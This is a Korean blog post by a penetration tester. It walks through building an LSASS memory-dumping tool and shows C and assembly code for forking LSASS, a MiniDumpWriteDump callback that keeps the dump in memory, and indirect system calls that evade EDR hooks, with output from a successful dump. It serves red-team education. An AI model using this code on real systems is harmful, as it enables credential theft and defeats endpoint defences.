[KOR] LSASS 덤프를 통해 알아보는 정보보안 창과 방패의 싸움
요약
정보보안은 끝나지 않는 창과 방패의 싸움이며, 새로운 기술과 기법이 항상 나오니 매일 공부 해야 한다는 말을 자주 듣는다. 추상적인 말이지만 틀린 말은 아니기에 별로 생각을 하지 않고 넘겨버리는 경우가 많다. 이 글에서는 창과 방패의 싸움의 구체적인 예시를 보여주며 추상적인 "매일 공부하세요"가 아닌, "왜 매일 공부 해야 하는가" 에 대해서 알아본다. 이 구체적인 예시는 최근 LSASS 덤프 관련 툴을 제작하며 배운 공격 기법(창)과 방어 기법(방패)을 통해 설명한다.
문제
내부망 모의해킹을 진행하다 보면 LSASS
프로세스의 메모리를 덤프해 해당 호스트에 로그온(Logon) 세션을 구축한 사용자의 캐시된 계정 정보 (NT해시, 커버로스 정보, Credential Manager 정보, DPAPI, 등) 를 빼내오는 크레덴셜 덤핑 (Credential Dumping) 공격 기법을 많이 사용한다.
최근 내부망 모의해킹 중 다양한 오픈소스 툴 (LSASSY, Nanodump, HandleKatz 등) 들을 통해 크레덴셜 덤핑을 시도하면 EDR 솔루션들이 이를 막는 것을 경험했다. 이 기법을 사용하지 않고 내부망을 장악할 수도 있지만, 크레덴셜 덤핑은 워낙 실제 공격자들이 많이 사용하는 기법이라 시뮬레이션을 원하는 고객사도 많았다. 따라서, EDR 솔루션들의 예방적 보안 (preventative controls)을 우회할 방법을 찾아야 했다.
문제 해결
오픈소스 툴들을 난독화하거나 암호화하여 다른 로더 (Loader) 를 이용해 실행하는 방법도 있지만, 여러 이유 때문에 쉽지 않았다. 그래서 고민한 끝에 스스로 크레덴셜 덤핑 툴을 만들기로 결심했다.
들어가며
모의해킹을 진행하며 주말에 시간을 따로 내 제작한 툴이기 때문에 간단한 기법들을 사용했다. 툴 제작에 들어간 모든 기법들에 대해 설명하면 글이 너무 길어져 자세한 설명은 생략한다. 툴의 소스코드 또한 많이 생략할텐데, 실제 실무에서도 쓰이고 있고, 툴을 오픈소스 한다고 하더라도 보안 업계에 득보다는 실이 더 클 것이기 때문이다. 오펜시브 보안의 툴/연구 공개와 관련해서는 추후 다른 글을 통해 다룬다.
이 블로그 글에 나오는 코드는 모두 아래의 링크들의 코드를 사실상 복사/붙여넣기 한 수준이다. 따라서 정확한 코드와 기법들을 알아보려면 아래의 링크와 레퍼런스 섹션을 참고한다.
창 0 - LSASS 핸들 얻기
LSASS 프로세스의 메모리를 덤프하려면 먼저 핸들을 얻어야한다. 이를 위해서는 윈도우 API의 OpenProcess
함수를 사용한다.
int main(int argc, char* argv[])
{
DWORD lsassPid = (DWORD)argv[1];
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid);
printf("+ Opening lsass process with PROCESS_ALL_ACCESS\n");
}
방패 0 - LSASS 핸들 방지
EDR 솔루션은 둘째치고, 기본 윈도우 디펜더조차 일반 프로세스가 PROCESS_ALL_ACCESS
엑세스 권한을 갖고 직접적으로 LSASS
프로세스에 핸들을 얻는 것을 방지한다.
이를 우회할 공격 기법에 대해서 알아보자.
창 1 - 윈도우 Fork()
Fork()
는 운영체제/C 프로그래밍 언어에서 부모 프로세스로부터 자식 프로세스를 만들어내는 시스템 콜이자 함수이다. 2021년 11월 Bill Demirkapi 가 발표한 연구에 따르면 Windows 운영체제에서의 Fork()
기능은 PROCESS_CREATE_PROCESS
엑세스 권한을 갖고 부모 프로세스의 핸들을 얻은 뒤, 이 핸들과 특정 파라미터들을 조합해 NtCreateProcessEx()
와 같은 함수를 통해 구현할 수 있다.
또한, 이렇게 생성된 자식 프로세스는 부모 프로세스의 비공개 메모리 영역 (private memory region) 및 다양한 엑세스 권한을 상속 받는다. 따라서 Fork 된 자식 프로세스의 메모리를 덤프하면 부모 프로세스의 메모리를 덤프하는 것과 같은 결과를 얻을 수 있다.
위에서 설명한 연구에 나오는 코드들을 참고해 툴의 소스코드를 변경했다. PROCESS_CREATE_PROCESS
엑세스 권한으로 스냅샷 핸들을 얻은 뒤, NtCreateProcessEx()
함수를 통해 LSASS 프로세스의 Fork 된 자식 프로세스를 생성한다.
// Runtime Dynamic linking
HINSTANCE hNtdll = GetModuleHandle(L"ntdll.dll");
PNTCREATEPROCESSEX NtCreateProcessEx = (PNTCREATEPROCESSEX)GetProcAddress(hNtdll, "NtCreateProcessEx");
int main(int argc, char* argv[])
{
// Get PID from argv[1]
DWORD lsassPid = atoi(argv[1]);
printf("+ lsassPid: %d\n", lsassPid);
// Fork lsass with PROCESS_CREATE_PROCESS
HANDLE hProc = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, lsassPid);
printf("+ Forking lsass process with PROCESS_CREATE_PROCESS\n");
// Create forked lsass process
HANDLE snapshotProcess = NULL;
NTSTATUS status;
NtCreateProcessEx(&snapshotProcess, PROCESS_ALL_ACCESS, NULL, hProc, 0, NULL, NULL, NULL, 0);
printf("+ Creating forked lsass process\n");
}
방패 1 - 덤프 파일 생성 방지
Fork()
를 통해 성공적으로 자식 프로세스의 핸들을 얻었다. 이제 MiniDumpWriteDump()
윈도우 API 함수를 통해 자식 프로세스의 메모리를 덤프하면 끝이다.
// Open file handle to write MinidumpWriteDump
const char* fileName = "c:\\windows\\temp\\blog.dmp";
HANDLE hFile = CreateFileA(fileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// MinidumpWriteDump the forked lsass process
if (MiniDumpWriteDump(snapshotProcess, GetProcessId(snapshotProcess), hFile, MiniDumpWithFullMemory, NULL, NULL, NULL) == FALSE) {
printf("- MiniDumpWriteDump failed: %d\n", GetLastError());
}
printf("+ MiniDumpWriteDump on path: %s\n", fileName);
라고 생각했지만,
윈도우 디펜더의 알람을 확인하면 툴이 만들어낸 메모리 덤프 파일(blog.dmp)을 악성코드로 정의하고 있다. 즉, 현재 만든 툴이 LSASS의 핸들을 얻고 MiniDumpWriteDump
를 통해 LSASS 프로세스의 메모리 덤프를 하더라도, 정작 그 덤프를 파일 형태로 저장하는 순간 덤프 파일 자체가 악성코드로 취급되어 삭제된다.
MiniDumpWriteDump
함수는 기본적으로 프로세스의 메모리를 파일 시스템에 파일 형태로 저장한다. 근데 이 파일이 무조건적으로 삭제된다니, 어떻게 해야할까?
창 2 - MiniDumpWriteDump Callback
위와 같은 AV/EDR 솔루션들의 행동 때문에 몇 일 간 구글링을 하면서 열심히 삽질했다. 그 결과, MiniDumpWriteDump
함수에는 PMINIDUMP_CALLBACK_INFORMATION
라는 파라미터가 존재하고, 이는 콜백으로 사용될 수 있다는 것을 ired.team 블로그 글을 통해 배웠다.
이 콜백은 MiniDumpWriteDump()
가 프로세스 메모리를 덤프하는 도중에 이 덤프를 어떻게 처리할 것인지 설정하는 역할을 한다. 덤프를 자동적으로 파일에 저장하기 보다는 힙 (Heap) 에 저장해놓은 뒤, 메모리상에서 XOR 암호화를 한 다음에 파일 형태로 저장하면 디펜더나 EDR 솔루션들이 이 파일이 덤프 파일이라는 것을 알아차리지 못할 것이다. 다음의 코드는 MiniDumpWriteDump()
의 콜백을 정의한다.
// Global Variable that holds LSASS Dumps in-memory
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_LSASS_DMP_SIZE);
DWORD bytesRead = 0;
// MinidumpWriteDump callback function to store dmp in a buffer instead of a file.
BOOL CALLBACK minidumpCallback(
__in PVOID callbackParam,
__in const PMINIDUMP_CALLBACK_INPUT callbackInput,
__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput
)
{
LPVOID destination = 0, source = 0;
DWORD bufferSize = 0;
switch (callbackInput->CallbackType){
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
// Gets called for each lsass process memory read operation.
case IoWriteAllCallback:
callbackOutput->Status = S_OK;
source = callbackInput->Io.Buffer;
destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
RtlCopyMemory(destination, source, bufferSize);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;
default:
return true;
}
return TRUE;
}
[ ... snip ... ]
// MinidumpWriteDump the forked lsass process + Callback
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;
if (MiniDumpWriteDump(snapshotProcess, GetProcessId(snapshotProcess), NULL, MiniDumpWithFullMemory, NULL, NULL, &callbackInfo) == FALSE) {
printf("- MiniDumpWriteDump failed: %d\n", GetLastError());
}
그리고 실행하면, 성공적으로 덤프 파일을 만들어낸다.
방패 2 - 유저랜드 후킹
간단한 AV와 윈도우 디펜더는 우회했지만, 아직 EDR 솔루션들의 유저랜드 후킹이 남았다. 유저랜드 후킹과 관련된 글은 작년에 이미 작성한 적이 있으니 이 글에서는 설명을 생략한다.
유저랜드 후킹은 실행되는 프로세스들에 EDR 솔루션이 자신의 후킹 DLL 을 삽입해 프로세스내에서 일어나는 함수 (WinAPI, Native API) 실행, 메시지, 이벤트 등을 가로채는 기법을 일컫는다. 개념만 따지고 보면 중간자 공격과도 비슷하다.
창 3 - 직/간접적 시스템 콜 (Direct/Indirect System Call)
유저랜드 후킹을 우회하는 방법으로는 직/간접적 시스템 콜 (Direct/Indirect System Call) 이라는 기법이 있다. 이는 WinAPI, Native API 등의 함수 콜을 프로세스에 로드되어 있는 (그와 동시에, 이미 후킹되어 있는) kernel32.dll
, ntdll.dll
라이브러리들을 사용하지 않고 어셈블리 코드를 이용해 커널에 직/간접적으로 시스템 콜을 보내는 기법이다.
작년 5월에 작성한 글에서 시스템 콜에 대해서 배우며 SysWhispers2 라는 툴을 언급한적이 있었는데, 이 툴이 업그레이드 되어 SysWhispers3 가 나왔다. Syswhispers3 을 이용해 "간접적 시스템 콜" (Indirect System Call) 기법을 이용해 위에서 만들었던 툴의 다양한 NT Native API (NtOpenProcess, NtCreateProcessEx) 대신에 시스템 콜을 사용해본다.
예를 들어, ntdll.dll
라이브러리안의 NtOpenProcess()
함수를 사용하지 않고 다음과 같은 어셈블리 코드를 작성해 시스템 콜을 커널로 날린다.
NtOpenProcess PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 0F99A1E08h ; Load function hash into ECX.
call SW3_GetRandomSyscallAddress ; Get a syscall offset from a different api.
mov r15, rax ; Save the address of the syscall
mov ecx, 0F99A1E08h ; Re-Load function hash into ECX (optional).
call SW3_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp+8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
jmp r15 ; Jump to -> Invoke system call.
NtOpenProcess ENDP
적용 방법이 복잡하기도 하고, 블로그 글 보다는 레드팀.com 에 문서화 하는 것이 더 적합해보여 이 글에서는 SysWhispers3 를 사용하는 방법에 대해서는 생략한다.
어쨌든 SysWhispers3 을 적용한 뒤 API Monitor 을 이용해 툴이 NtCreateProcessEx
, NtOpenProcess
함수를 실행하는지 모니터링을 해보자. 모니터링 결과는 예상한대로 아무것도 나오지 않는다. Ntdll.dll
라이브러리를 거치지 않고 어셈블리 코드를 통해 커널로 직접 시스템 콜을 날렸기 때문이다.
방패 3 - ...?
여기까지 진행한 뒤, Run-time Dynamic Linking 및 문자열 난독화를 진행한 다음 실무에서 사용해보니 여태까지 마주쳤던 EDR 솔루션들은 모두 우회할 수 있었다.
PS> .\x64\Release\blogdmp2.exe c:\windows\temp\blog.dmp2
[ ... 생략 ... ]
+ Successfully dumped memory: \??\c:\windows\temp\blog.dmp2
[ ... 생략 ... ]
PS > ls C:\Windows\Temp\blog.dmp2
Directory: C:\Windows\Temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/5/2022 12:48 AM 76423562 blog.dmp2
마치며
LSASS 덤프 툴을 만들어보며 정보보안에서의 창과 방패의 싸움을 진행해봤다. 정리해보면 다음과 같다.
- LSASS 핸들 -> 핸들 방지 -> Fork() 를 통해 핸들 방지 우회
- 덤프 파일 생성 방지 -> MiniDumpWriteDump 콜백을 통해 우회
- 유저랜드 후킹 -> 직/간접적 시스템콜을 통해 우회
- 정적/동적 분석 -> Runtime Dynamic Linking, 문자열 난독화, 샌드박스 탐지 등을 통해 우회
이 글에서 나오는 기법들 중 아주 오래된 기법들도 있지만, 나온지 불과 1년도 되지 않은 기법들과 툴들도 있다. 이처럼 매일, 매주, 매달, 매년 새롭게 나오는 공격 기법들과 방어 기법들을 배우면 재밌게 해킹을 할 수 있을 것이다. 이 글을 통해 추상적인 "매일 공부하세요" 보다는 조금 더 구체적인 예시를 통해 "왜 매일 공부해야 하는가" 를 알리고 싶었다. 오늘도 더 많이 공부하러 가기 위해,
Happy Hacking!